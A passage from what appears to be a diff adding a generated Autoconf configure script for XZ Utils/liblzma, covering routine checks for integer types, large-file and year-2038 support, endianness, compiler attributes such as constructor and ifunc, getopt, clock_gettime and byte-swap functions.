"%s\n" "#define _UINT32_T 1" >>confdefs.h + + +printf "%s\n" "#define uint32_t $ac_cv_c_uint32_t" >>confdefs.h +;; + esac + +ac_fn_c_find_intX_t "$LINENO" "64" "ac_cv_c_int64_t" +case $ac_cv_c_int64_t in #( + no|yes) ;; #( + *) + +printf "%s\n" "#define int64_t $ac_cv_c_int64_t" >>confdefs.h +;; +esac + +ac_fn_c_find_uintX_t "$LINENO" "64" "ac_cv_c_uint64_t" +case $ac_cv_c_uint64_t in #( + no|yes) ;; #( + *) + +printf "%s\n" "#define _UINT64_T 1" >>confdefs.h + + +printf "%s\n" "#define uint64_t $ac_cv_c_uint64_t" >>confdefs.h +;; + esac + + + ac_fn_c_check_type "$LINENO" "uintptr_t" "ac_cv_type_uintptr_t" "$ac_includes_default" +if test "x$ac_cv_type_uintptr_t" = xyes +then : + +printf "%s\n" "#define HAVE_UINTPTR_T 1" >>confdefs.h + +else case e in #( + e) for ac_type in 'unsigned int' 'unsigned long int' \ + 'unsigned long long int'; do + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_includes_default +int +main (void) +{ +static int test_array [1 - 2 * !(sizeof (void *) <= sizeof ($ac_type))]; +test_array [0] = 0; +return test_array [0]; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + +printf "%s\n" "#define uintptr_t $ac_type" >>confdefs.h + + ac_type= +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + test -z "$ac_type" && break + done ;; +esac +fi + + + +# The cast to long int works around a bug in the HP C Compiler +# version HP92453-01 B.11.11.23709.GP, which incorrectly rejects +# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'. +# This bug is HP SR number 8606223364. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking size of size_t" >&5 +printf %s "checking size of size_t... " >&6; } +if test ${ac_cv_sizeof_size_t+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if ac_fn_c_compute_int "$LINENO" "(long int) (sizeof (size_t))" "ac_cv_sizeof_size_t" "$ac_includes_default" +then : + +else case e in #( + e) if test "$ac_cv_type_size_t" = yes; then + { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error 77 "cannot compute sizeof (size_t) +See 'config.log' for more details" "$LINENO" 5; } + else + ac_cv_sizeof_size_t=0 + fi ;; +esac +fi + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_size_t" >&5 +printf "%s\n" "$ac_cv_sizeof_size_t" >&6; } + + + +printf "%s\n" "#define SIZEOF_SIZE_T $ac_cv_sizeof_size_t" >>confdefs.h + + + +# The command line tool can copy high resolution timestamps if such +# information is available in struct stat. Otherwise one second accuracy +# is used. +ac_fn_c_check_member "$LINENO" "struct stat" "st_atim.tv_nsec" "ac_cv_member_struct_stat_st_atim_tv_nsec" "$ac_includes_default" +if test "x$ac_cv_member_struct_stat_st_atim_tv_nsec" = xyes +then : + +printf "%s\n" "#define HAVE_STRUCT_STAT_ST_ATIM_TV_NSEC 1" >>confdefs.h + + +fi +ac_fn_c_check_member "$LINENO" "struct stat" "st_atimespec.tv_nsec" "ac_cv_member_struct_stat_st_atimespec_tv_nsec" "$ac_includes_default" +if test "x$ac_cv_member_struct_stat_st_atimespec_tv_nsec" = xyes +then : + +printf "%s\n" "#define HAVE_STRUCT_STAT_ST_ATIMESPEC_TV_NSEC 1" >>confdefs.h + + +fi +ac_fn_c_check_member "$LINENO" "struct stat" "st_atimensec" "ac_cv_member_struct_stat_st_atimensec" "$ac_includes_default" +if test "x$ac_cv_member_struct_stat_st_atimensec" = xyes +then : + +printf "%s\n" "#define HAVE_STRUCT_STAT_ST_ATIMENSEC 1" >>confdefs.h + + +fi +ac_fn_c_check_member "$LINENO" "struct stat" "st_uatime" "ac_cv_member_struct_stat_st_uatime" "$ac_includes_default" +if test "x$ac_cv_member_struct_stat_st_uatime" = xyes +then : + +printf "%s\n" "#define HAVE_STRUCT_STAT_ST_UATIME 1" >>confdefs.h + + +fi +ac_fn_c_check_member "$LINENO" "struct stat" "st_atim.st__tim.tv_nsec" "ac_cv_member_struct_stat_st_atim_st__tim_tv_nsec" "$ac_includes_default" +if test "x$ac_cv_member_struct_stat_st_atim_st__tim_tv_nsec" = xyes +then : + +printf "%s\n" "#define HAVE_STRUCT_STAT_ST_ATIM_ST__TIM_TV_NSEC 1" >>confdefs.h + + +fi + + +# Check whether --enable-largefile was given. +if test ${enable_largefile+y} +then : + enableval=$enable_largefile; +fi +if test "$enable_largefile,$enable_year2038" != no,no +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable large file support" >&5 +printf %s "checking for $CC option to enable large file support... " >&6; } +if test ${ac_cv_sys_largefile_opts+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_save_CC="$CC" + ac_opt_found=no + for ac_opt in "none needed" "-D_FILE_OFFSET_BITS=64" "-D_LARGE_FILES=1" "-n32"; do + if test x"$ac_opt" != x"none needed" +then : + CC="$ac_save_CC $ac_opt" +fi + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +#ifndef FTYPE +# define FTYPE off_t +#endif + /* Check that FTYPE can represent 2**63 - 1 correctly. + We can't simply define LARGE_FTYPE to be 9223372036854775807, + since some C++ compilers masquerading as C compilers + incorrectly reject 9223372036854775807. */ +#define LARGE_FTYPE (((FTYPE) 1 << 31 << 31) - 1 + ((FTYPE) 1 << 31 << 31)) + int FTYPE_is_large[(LARGE_FTYPE % 2147483629 == 721 + && LARGE_FTYPE % 2147483647 == 1) + ? 1 : -1]; +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + if test x"$ac_opt" = x"none needed" +then : + # GNU/Linux s390x and alpha need _FILE_OFFSET_BITS=64 for wide ino_t. + CC="$CC -DFTYPE=ino_t" + if ac_fn_c_try_compile "$LINENO" +then : + +else case e in #( + e) CC="$CC -D_FILE_OFFSET_BITS=64" + if ac_fn_c_try_compile "$LINENO" +then : + ac_opt='-D_FILE_OFFSET_BITS=64' +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam +fi + ac_cv_sys_largefile_opts=$ac_opt + ac_opt_found=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + test $ac_opt_found = no || break + done + CC="$ac_save_CC" + + test $ac_opt_found = yes || ac_cv_sys_largefile_opts="support not detected" ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sys_largefile_opts" >&5 +printf "%s\n" "$ac_cv_sys_largefile_opts" >&6; } + +ac_have_largefile=yes +case $ac_cv_sys_largefile_opts in #( + "none needed") : + ;; #( + "supported through gnulib") : + ;; #( + "support not detected") : + ac_have_largefile=no ;; #( + "-D_FILE_OFFSET_BITS=64") : + +printf "%s\n" "#define _FILE_OFFSET_BITS 64" >>confdefs.h + ;; #( + "-D_LARGE_FILES=1") : + +printf "%s\n" "#define _LARGE_FILES 1" >>confdefs.h + ;; #( + "-n32") : + CC="$CC -n32" ;; #( + *) : + as_fn_error $? "internal error: bad value for \$ac_cv_sys_largefile_opts" "$LINENO" 5 ;; +esac + +if test "$enable_year2038" != no +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option for timestamps after 2038" >&5 +printf %s "checking for $CC option for timestamps after 2038... " >&6; } +if test ${ac_cv_sys_year2038_opts+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_save_CPPFLAGS="$CPPFLAGS" + ac_opt_found=no + for ac_opt in "none needed" "-D_TIME_BITS=64" "-D__MINGW_USE_VC2005_COMPAT" "-U_USE_32_BIT_TIME_T -D__MINGW_USE_VC2005_COMPAT"; do + if test x"$ac_opt" != x"none needed" +then : + CPPFLAGS="$ac_save_CPPFLAGS $ac_opt" +fi + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + + #include + /* Check that time_t can represent 2**32 - 1 correctly. */ + #define LARGE_TIME_T \\ + ((time_t) (((time_t) 1 << 30) - 1 + 3 * ((time_t) 1 << 30))) + int verify_time_t_range[(LARGE_TIME_T / 65537 == 65535 + && LARGE_TIME_T % 65537 == 0) + ? 1 : -1]; + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_sys_year2038_opts="$ac_opt" + ac_opt_found=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + test $ac_opt_found = no || break + done + CPPFLAGS="$ac_save_CPPFLAGS" + test $ac_opt_found = yes || ac_cv_sys_year2038_opts="support not detected" ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_sys_year2038_opts" >&5 +printf "%s\n" "$ac_cv_sys_year2038_opts" >&6; } + +ac_have_year2038=yes +case $ac_cv_sys_year2038_opts in #( + "none needed") : + ;; #( + "support not detected") : + ac_have_year2038=no ;; #( + "-D_TIME_BITS=64") : + +printf "%s\n" "#define _TIME_BITS 64" >>confdefs.h + ;; #( + "-D__MINGW_USE_VC2005_COMPAT") : + +printf "%s\n" "#define __MINGW_USE_VC2005_COMPAT 1" >>confdefs.h + ;; #( + "-U_USE_32_BIT_TIME_T"*) : + { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error $? "the 'time_t' type is currently forced to be 32-bit. It +will stop working after mid-January 2038. Remove +_USE_32BIT_TIME_T from the compiler flags. +See 'config.log' for more details" "$LINENO" 5; } ;; #( + *) : + as_fn_error $? "internal error: bad value for \$ac_cv_sys_year2038_opts" "$LINENO" 5 ;; +esac + +fi + +fi + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether byte ordering is bigendian" >&5 +printf %s "checking whether byte ordering is bigendian... " >&6; } +if test ${ac_cv_c_bigendian+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_cv_c_bigendian=unknown + # See if we're dealing with a universal compiler. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#ifndef __APPLE_CC__ + not a universal capable compiler + #endif + typedef int dummy; + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + + # Check for potential -arch flags. It is not universal unless + # there are at least two -arch flags with different values. + ac_arch= + ac_prev= + for ac_word in $CC $CFLAGS $CPPFLAGS $LDFLAGS; do + if test -n "$ac_prev"; then + case $ac_word in + i?86 | x86_64 | ppc | ppc64) + if test -z "$ac_arch" || test "$ac_arch" = "$ac_word"; then + ac_arch=$ac_word + else + ac_cv_c_bigendian=universal + break + fi + ;; + esac + ac_prev= + elif test "x$ac_word" = "x-arch"; then + ac_prev=arch + fi + done +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + if test $ac_cv_c_bigendian = unknown; then + # See if sys/param.h defines the BYTE_ORDER macro. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + #include + +int +main (void) +{ +#if ! (defined BYTE_ORDER && defined BIG_ENDIAN \\ + && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \\ + && LITTLE_ENDIAN) + bogus endian macros + #endif + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + # It does; now see whether it defined to BIG_ENDIAN or not. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + #include + +int +main (void) +{ +#if BYTE_ORDER != BIG_ENDIAN + not big endian + #endif + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_c_bigendian=yes +else case e in #( + e) ac_cv_c_bigendian=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + fi + if test $ac_cv_c_bigendian = unknown; then + # See if defines _LITTLE_ENDIAN or _BIG_ENDIAN (e.g., Solaris). + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + +int +main (void) +{ +#if ! (defined _LITTLE_ENDIAN || defined _BIG_ENDIAN) + bogus endian macros + #endif + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + # It does; now see whether it defined to _BIG_ENDIAN or not. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include + +int +main (void) +{ +#ifndef _BIG_ENDIAN + not big endian + #endif + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_c_bigendian=yes +else case e in #( + e) ac_cv_c_bigendian=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + fi + if test $ac_cv_c_bigendian = unknown; then + # Compile a test program. + if test "$cross_compiling" = yes +then : + # Try to guess by grepping values from an object file. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +unsigned short int ascii_mm[] = + { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 }; + unsigned short int ascii_ii[] = + { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 }; + int use_ascii (int i) { + return ascii_mm[i] + ascii_ii[i]; + } + unsigned short int ebcdic_ii[] = + { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 }; + unsigned short int ebcdic_mm[] = + { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 }; + int use_ebcdic (int i) { + return ebcdic_mm[i] + ebcdic_ii[i]; + } + int + main (int argc, char **argv) + { + /* Intimidate the compiler so that it does not + optimize the arrays away. */ + char *p = argv[0]; + ascii_mm[1] = *p++; ebcdic_mm[1] = *p++; + ascii_ii[1] = *p++; ebcdic_ii[1] = *p++; + return use_ascii (argc) == use_ebcdic (*p); + } +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + if grep BIGenDianSyS conftest$ac_exeext >/dev/null; then + ac_cv_c_bigendian=yes + fi + if grep LiTTleEnDian conftest$ac_exeext >/dev/null ; then + if test "$ac_cv_c_bigendian" = unknown; then + ac_cv_c_bigendian=no + else + # finding both strings is unlikely to happen, but who knows? + ac_cv_c_bigendian=unknown + fi + fi +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_includes_default +int +main (void) +{ + + /* Are we little or big endian? From Harbison&Steele. */ + union + { + long int l; + char c[sizeof (long int)]; + } u; + u.l = 1; + return u.c[sizeof (long int) - 1] == 1; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_run "$LINENO" +then : + ac_cv_c_bigendian=no +else case e in #( + e) ac_cv_c_bigendian=yes ;; +esac +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \ + conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi + + fi ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_bigendian" >&5 +printf "%s\n" "$ac_cv_c_bigendian" >&6; } + case $ac_cv_c_bigendian in #( + yes) + printf "%s\n" "#define WORDS_BIGENDIAN 1" >>confdefs.h +;; #( + no) + ;; #( + universal) + +printf "%s\n" "#define AC_APPLE_UNIVERSAL_BUILD 1" >>confdefs.h + + ;; #( + *) + as_fn_error $? "unknown endianness + presetting ac_cv_c_bigendian=no (or yes) will help" "$LINENO" 5 ;; + esac + + +# __attribute__((__constructor__)) can be used for one-time initializations. +# Use -Werror because some compilers accept unknown attributes and just +# give a warning. +# +# FIXME? Unfortunately -Werror can cause trouble if CFLAGS contains options +# that produce warnings for unrelated reasons. For example, GCC and Clang +# support -Wunused-macros which will warn about "#define _GNU_SOURCE 1" +# which will be among the #defines that Autoconf inserts to the beginning of +# the test program. There seems to be no nice way to prevent Autoconf from +# inserting the any defines to the test program. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if __attribute__((__constructor__)) can be used" >&5 +printf %s "checking if __attribute__((__constructor__)) can be used... " >&6; } +have_func_attribute_constructor=no +OLD_CFLAGS="$CFLAGS" +CFLAGS="$CFLAGS -Werror" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + + __attribute__((__constructor__)) + static void my_constructor_func(void) { return; } + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + + +printf "%s\n" "#define HAVE_FUNC_ATTRIBUTE_CONSTRUCTOR 1" >>confdefs.h + + have_func_attribute_constructor=yes + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + +else case e in #( + e) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +CFLAGS="$OLD_CFLAGS" + +# The Win95 threading lacks a thread-safe one-time initialization function. +# The one-time initialization is needed for crc32_small.c and crc64_small.c +# create the CRC tables. So if small mode is enabled, the threading mode is +# win95, and the compiler does not support attribute constructor, then we +# would end up with a multithreaded build that is thread-unsafe. As a +# result this configuration is not allowed. +if test "x$enable_small$enable_threads$have_func_attribute_constructor" \ + = xyeswin95no; then + as_fn_error $? " + --enable-threads=win95 and --enable-small cannot be used + at the same time with a compiler that doesn't support + __attribute__((__constructor__))" "$LINENO" 5 +fi + +# __attribute__((__ifunc__())) can be used to choose between different +# implementations of the same function at runtime. This is slightly more +# efficient than using __attribute__((__constructor__)) and setting +# a function pointer. +# Check whether --enable-ifunc was given. +if test ${enable_ifunc+y} +then : + enableval=$enable_ifunc; +else case e in #( + e) enable_ifunc=auto ;; +esac +fi + + +# When enable_ifunc is 'auto', allow the use of __attribute__((__ifunc__())) +# if compiler support is detected and we are building for GNU/Linux (glibc) +# or FreeBSD. uClibc and musl don't support ifunc in their dynamic linkers +# but some compilers still accept the attribute when compiling for these +# C libraries, which results in broken binaries. That's why we need to +# check which libc is being used. +if test "x$enable_ifunc" = xauto ; then + OLD_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -Werror" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if __attribute__((__ifunc__())) can be used" >&5 +printf %s "checking if __attribute__((__ifunc__())) can be used... " >&6; } + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + + /* + * Force a compilation error when not using glibc on Linux + * or if we are not using FreeBSD. uClibc will define + * __GLIBC__ but does not support ifunc, so we must have + * an extra check to disable with uClibc. + */ + #if defined(__linux__) + # include + # if !defined(__GLIBC__) || defined(__UCLIBC__) + compile error + # endif + #elif !defined(__FreeBSD__) + compile error + #endif + + static void func(void) { return; } + static void (*resolve_func (void)) (void) { return func; } + void func_ifunc (void) + __attribute__((__ifunc__("resolve_func"))); + /* + * 'clang -Wall' incorrectly warns that resolve_func is + * unused (-Wunused-function). Correct assembly output is + * still produced. This problem exists at least in Clang + * versions 4 to 17. The following silences the bogus warning: + */ + void make_clang_quiet(void); + void make_clang_quiet(void) { resolve_func()(); } + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + + enable_ifunc=yes + +else case e in #( + e) + enable_ifunc=no + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $enable_ifunc" >&5 +printf "%s\n" "$enable_ifunc" >&6; } + + CFLAGS="$OLD_CFLAGS" +fi + +if test "x$enable_ifunc" = xyes ; then + +printf "%s\n" "#define HAVE_FUNC_ATTRIBUTE_IFUNC 1" >>confdefs.h + + + # ifunc explicitly does not work with -fsanitize=address. + # If configured, it will result in a liblzma build that will fail + # when liblzma is loaded at runtime (when the ifunc resolver + # executes). + case $CFLAGS in #( + *-fsanitize=*) : + as_fn_error $? " + CFLAGS contains '-fsanitize=' which is incompatible with ifunc. + Use --disable-ifunc when using '-fsanitize'." "$LINENO" 5 ;; #( + *) : + ;; +esac +fi + + +############################################################################### +# Checks for library functions. +############################################################################### + +# Gnulib replacements as needed +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC options needed to detect all undeclared functions" >&5 +printf %s "checking for $CC options needed to detect all undeclared functions... " >&6; } +if test ${ac_cv_c_undeclared_builtin_options+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_save_CFLAGS=$CFLAGS + ac_cv_c_undeclared_builtin_options='cannot detect' + for ac_arg in '' -fno-builtin; do + CFLAGS="$ac_save_CFLAGS $ac_arg" + # This test program should *not* compile successfully. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ +(void) strchr; + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + +else case e in #( + e) # This test program should compile successfully. + # No library function is consistently available on + # freestanding implementations, so test against a dummy + # declaration. Include always-available headers on the + # off chance that they somehow elicit warnings. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +#include +#include +#include +extern void ac_decl (int, char *); + +int +main (void) +{ +(void) ac_decl (0, (char *) 0); + (void) ac_decl; + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + if test x"$ac_arg" = x +then : + ac_cv_c_undeclared_builtin_options='none needed' +else case e in #( + e) ac_cv_c_undeclared_builtin_options=$ac_arg ;; +esac +fi + break +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + done + CFLAGS=$ac_save_CFLAGS + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_undeclared_builtin_options" >&5 +printf "%s\n" "$ac_cv_c_undeclared_builtin_options" >&6; } + case $ac_cv_c_undeclared_builtin_options in #( + 'cannot detect') : + { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error $? "cannot make $CC report undeclared builtins +See 'config.log' for more details" "$LINENO" 5; } ;; #( + 'none needed') : + ac_c_undeclared_builtin_options='' ;; #( + *) : + ac_c_undeclared_builtin_options=$ac_cv_c_undeclared_builtin_options ;; +esac + + + gl_replace_getopt= + + if test -z "$gl_replace_getopt"; then + for ac_header in getopt.h +do : + ac_fn_c_check_header_compile "$LINENO" "getopt.h" "ac_cv_header_getopt_h" "$ac_includes_default" +if test "x$ac_cv_header_getopt_h" = xyes +then : + printf "%s\n" "#define HAVE_GETOPT_H 1" >>confdefs.h + +else case e in #( + e) gl_replace_getopt=yes ;; +esac +fi + +done + fi + + if test -z "$gl_replace_getopt"; then + + for ac_func in getopt_long +do : + ac_fn_c_check_func "$LINENO" "getopt_long" "ac_cv_func_getopt_long" +if test "x$ac_cv_func_getopt_long" = xyes +then : + printf "%s\n" "#define HAVE_GETOPT_LONG 1" >>confdefs.h + +else case e in #( + e) gl_replace_getopt=yes ;; +esac +fi + +done + fi + + if test -z "$gl_replace_getopt"; then + ac_fn_check_decl "$LINENO" "optreset" "ac_cv_have_decl_optreset" "#include +" "$ac_c_undeclared_builtin_options" "CFLAGS" +if test "x$ac_cv_have_decl_optreset" = xyes +then : + +printf "%s\n" "#define HAVE_OPTRESET 1" >>confdefs.h + +fi + fi + + + + + + + + + if test -n "$gl_replace_getopt"; then + + case " $LIBOBJS " in + *" getopt.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS getopt.$ac_objext" + ;; +esac + + case " $LIBOBJS " in + *" getopt1.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS getopt1.$ac_objext" + ;; +esac + + + + + +printf "%s\n" "#define __GETOPT_PREFIX rpl_" >>confdefs.h + + + GETOPT_H=getopt.h + + + fi + + +# If clock_gettime() is available, liblzma with pthreads may use it, and +# xz may use it even when threading support is disabled. In XZ Utils 5.4.x +# and older, configure checked for clock_gettime() only when using pthreads. +# This way non-threaded builds of liblzma didn't get a useless dependency on +# librt which further had a dependency on libpthread. Avoiding these was +# useful when a small build was needed, for example, for initramfs use. +# +# The above reasoning is thoroughly obsolete: On GNU/Linux, librt hasn't +# been needed for clock_gettime() since glibc 2.17 (2012-12-25). +# Solaris 10 needs librt but Solaris 11 doesn't anymore. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for library containing clock_gettime" >&5 +printf %s "checking for library containing clock_gettime... " >&6; } +if test ${ac_cv_search_clock_gettime+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_func_search_save_LIBS=$LIBS +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. + The 'extern "C"' is for builds by C++ compilers; + although this is not generally supported in C code supporting it here + has little cost and some practical benefit (sr 110532). */ +#ifdef __cplusplus +extern "C" +#endif +char clock_gettime (void); +int +main (void) +{ +return clock_gettime (); + ; + return 0; +} +_ACEOF +for ac_lib in '' rt +do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + if ac_fn_c_try_link "$LINENO" +then : + ac_cv_search_clock_gettime=$ac_res +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext + if test ${ac_cv_search_clock_gettime+y} +then : + break +fi +done +if test ${ac_cv_search_clock_gettime+y} +then : + +else case e in #( + e) ac_cv_search_clock_gettime=no ;; +esac +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_clock_gettime" >&5 +printf "%s\n" "$ac_cv_search_clock_gettime" >&6; } +ac_res=$ac_cv_search_clock_gettime +if test "$ac_res" != no +then : + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + +ac_fn_c_check_func "$LINENO" "clock_gettime" "ac_cv_func_clock_gettime" +if test "x$ac_cv_func_clock_gettime" = xyes +then : + printf "%s\n" "#define HAVE_CLOCK_GETTIME 1" >>confdefs.h + +fi + +ac_fn_check_decl "$LINENO" "CLOCK_MONOTONIC" "ac_cv_have_decl_CLOCK_MONOTONIC" "#include +" "$ac_c_undeclared_builtin_options" "CFLAGS" +if test "x$ac_cv_have_decl_CLOCK_MONOTONIC" = xyes +then : + +printf "%s\n" "#define HAVE_CLOCK_MONOTONIC 1" >>confdefs.h + +fi + +# Find the best function to set timestamps. + + for ac_func in futimens futimes futimesat utimes _futime utime +do : + as_ac_var=`printf "%s\n" "ac_cv_func_$ac_func" | sed "$as_sed_sh"` +ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var" +if eval test \"x\$"$as_ac_var"\" = x"yes" +then : + cat >>confdefs.h <<_ACEOF +#define `printf "%s\n" "HAVE_$ac_func" | sed "$as_sed_cpp"` 1 +_ACEOF + break +fi + +done + +# This is nice to have but not mandatory. +ac_fn_c_check_func "$LINENO" "posix_fadvise" "ac_cv_func_posix_fadvise" +if test "x$ac_cv_func_posix_fadvise" = xyes +then : + printf "%s\n" "#define HAVE_POSIX_FADVISE 1" >>confdefs.h + +fi + + + + + + + + + +ac_fn_check_decl "$LINENO" "program_invocation_name" "ac_cv_have_decl_program_invocation_name" "#include +" "$ac_c_undeclared_builtin_options" "CFLAGS" +if test "x$ac_cv_have_decl_program_invocation_name" = xyes +then : + +printf "%s\n" "#define HAVE_PROGRAM_INVOCATION_NAME 1" >>confdefs.h + +fi + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if __builtin_bswap16/32/64 are supported" >&5 +printf %s "checking if __builtin_bswap16/32/64 are supported... " >&6; } +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ +__builtin_bswap16(1); + __builtin_bswap32(1); + __builtin_bswap64(1); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + + +printf "%s\n" "#define HAVE___BUILTIN_BSWAPXX 1" >>confdefs.h + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + +else case e in #( + e) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + + # Look for other byteswapping methods. + for ac_header in byteswap.h sys/endian.h sys/byteorder.h +do : + as_ac_Header=`printf "%s\n" "ac_cv_header_$ac_header" | sed "$as_sed_sh"` +ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default" +if eval test \"x\$"$as_ac_Header"\" = x"yes" +then : + cat >>confdefs.h <<_ACEOF +#define `printf "%s\n" "HAVE_$ac_header" | sed "$as_sed_cpp"` 1 +_ACEOF + break +fi + +done + + # Even if we have byteswap.h we may lack the specific macros/functions. + if test x$ac_cv_header_byteswap_h = xyes ; then + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if bswap_16 is available" >&5 +printf %s "checking if bswap_16 is available... " >&6; } + cat confdefs.h - <<_ACEOF 